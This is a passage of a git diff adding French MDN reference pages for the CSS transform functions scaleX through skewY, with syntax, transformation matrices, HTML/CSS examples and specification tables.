+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>s</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente le facteur d'échelle de l'homothétie.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>s</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>1</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[s 0 0 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Origine_inchangée">Origine inchangée</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: scaleX(2);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Origine_inchangée","100%","200")}}</p>
+
+<h3 id="Origine_déplacée">Origine déplacée</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: scaleX(2);
+  transform-origin: left;
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Origine_déplacée","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-scalex", "scaleX()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleY">scaleY()</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/scaley()/index.html b/files/fr/web/css/transform-function/scaley()/index.html
new file mode 100644
index 0000000000..f8b82479b3
--- /dev/null
+++ b/files/fr/web/css/transform-function/scaley()/index.html
@@ -0,0 +1,111 @@
+---
+title: scaleY()
+slug: Web/CSS/transform-function/scaleY()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/scaleY()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>scaleY()</code></strong> modifie l'ordonnée de chaque sommet de l'élément avec un facteur multiplicateur. L'homothétie n'est pas isotropique et les angles de l'élément ne sont pas conservés. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12119/scaleY.png" style="height: 381px; width: 365px;"></p>
+
+<p><code>scaleY(sy)</code> est une notation raccourcie équivalente à <code>scale(1, sy)</code> ou à <code>scale3d(1, sy, 1)</code>.</p>
+
+<p><code>scaleY(-1)</code> définit une symétrie axiale selon un axe horizontal, passant par l'origine du repère (cette origine est définie grâce à la propriété {{cssxref("transform-origin")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">scaleY(s)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>s</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui indique le facteur d'échelle pour l'homothétie.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>s</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 s 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: scaleY(2);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-scaley", "scaleY()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleX">scaleX()</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/scalez()/index.html b/files/fr/web/css/transform-function/scalez()/index.html
new file mode 100644
index 0000000000..11324f1efb
--- /dev/null
+++ b/files/fr/web/css/transform-function/scalez()/index.html
@@ -0,0 +1,117 @@
+---
+title: scaleZ()
+slug: Web/CSS/transform-function/scaleZ()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/scaleZ()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>scaleZ()</code></strong> modifie la coordonnée en Z de chaque point de l'élément avec un facteur multiplicateur donné. Si ce facteur vaut 1, l'opération appliqué sera l'identité. L'homothétie n'est pas isotropique et les angles de l'élément ne sont pas conservés. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-scaleZ.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p><code>scaleZ(sz)</code> est une notation raccourcie équivalente à <code>scale3d(1, 1, sz)</code>.</p>
+
+<p><code>scaleZ(-1)</code> définit une symétrie axiale selon l'axe Z qui passe par l'origine (définie grâce à la propriété {{cssxref("transform-origin")}}).</p>
+
+<p>Dans les exemples interactifs ci-avant, <code>perspective: 500px;</code> a été utilisée afin de créer un espace en trois dimensions et <code>transform-style: preserve-3d</code> permet de positionner les éléments enfants dans cet espace 3D.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">scaleZ(s)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>s</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente le facteur d'échelle à appliquer sur la côte (coordonnées en Z) de chaque point de l'élément.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique sur l'espace en trois dimensions et ne peut donc être représentée sous la forme d'une transformation plane.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>s</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="translation"&gt;Translaté&lt;/p&gt;
+&lt;p class="homothetie"&gt;Échelle&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.translation{
+  /* On ajoute une perspective pour créer un volume 3D */
+  transform: perspective(500px) translateZ(100px);
+}
+
+.homothetie{
+  /* On ajoute une perspective pour créer un volume 3D */
+  transform: perspective(500px) scaleZ(2) translateZ(100px);
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-scalez", "scaleZ()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleX">scaleX()</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleY">scaleY()</a></code></li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/skew()/index.html b/files/fr/web/css/transform-function/skew()/index.html
new file mode 100644
index 0000000000..96a2973536
--- /dev/null
+++ b/files/fr/web/css/transform-function/skew()/index.html
@@ -0,0 +1,139 @@
+---
+title: skew()
+slug: Web/CSS/transform-function/skew()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/skew()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>skew()</code></strong> permet d'opérer une distorsion en étirant chaque point de l'élément d'un certain angle dans une direction du plan. Pour cela, on augmente l'ordonnée d'un élément d'une valeur proportionnelle à l'angle donné et à la distance de l'origine. Plus le point est éloigné de l'origine, plus le décalage obtenu sera important.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-skew.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">skew(<em>ax</em>)
+skew(<em>ax</em>, <em>ay</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>ax</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle avec lequel appliquer la distorsion selon l'axe des abscisses (axe horizontal).</dd>
+ <dt><code>ay</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle avec lequel appliquer la distorsion selon l'axe des ordonnées (axe vertical).</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd></mtr><mtr>tan(ay)<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr><mtr></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 tan(ay) tan(ax) 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_une_distorsion_horizontale">Utiliser une distorsion horizontale</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+ /* the same as skewX(10deg); */
+  transform: skew(10deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_une_distorsion_horizontale","100%","200")}}</p>
+
+<h3 id="Utiliser_deux_angles">Utiliser deux angles</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: skew(10deg, 10deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_deux_angles","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-skew", "skew()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/skewx()/index.html b/files/fr/web/css/transform-function/skewx()/index.html
new file mode 100644
index 0000000000..2dde08e015
--- /dev/null
+++ b/files/fr/web/css/transform-function/skewx()/index.html
@@ -0,0 +1,110 @@
+---
+title: skewX()
+slug: Web/CSS/transform-function/skewX()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/skewX()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>skewX()</code></strong> permet d'opérer une distorsion horizontale en étirant chaque point de l'élément d'un certain angle dans la direction horizontale. Pour cela, on augmente l'abscisse d'un élément d'une valeur proportionnelle à l'angle donné et à la distance de l'origine. Plus le point est éloigné de l'origine et loin de l'axe, plus le décalage obtenu sera important.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-skewX.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><code>skewX(a)</code> est équivalent à <code><a href="/fr/docs/Web/CSS/transform-function/skew">skew(a)</a></code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">skewX(a)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle avec lequel appliquer la distorsion selon l'axe des abscisses (axe horizontal).</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd></mtr><mtr>0<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 tan(a) 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: skewX(10deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-skewx", "skewX()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/skewy()/index.html b/files/fr/web/css/transform-function/skewy()/index.html
new file mode 100644
index 0000000000..bff12a7055
--- /dev/null
+++ b/files/fr/web/css/transform-function/skewy()/index.html
@@ -0,0 +1,108 @@
+---
+title: skewY()
+slug: Web/CSS/transform-function/skewY()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/skewY()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>skewY()</code></strong> permet d'opérer une distorsion verticale en étirant chaque point de l'élément d'un certain angle dans la direction verticale. Pour cela, on augmente l'ordonnée d'un élément d'une valeur proportionnelle à l'angle donné et à la distance de l'origine. Plus le point est éloigné de l'origine et loin de l'axe, plus le décalage obtenu sera important.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-skewY.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">skewY(a)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle avec lequel appliquer la distorsion selon l'axe des ordonnées (axe vertical).</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 tan(a) 0 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: skewY(40deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","250")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
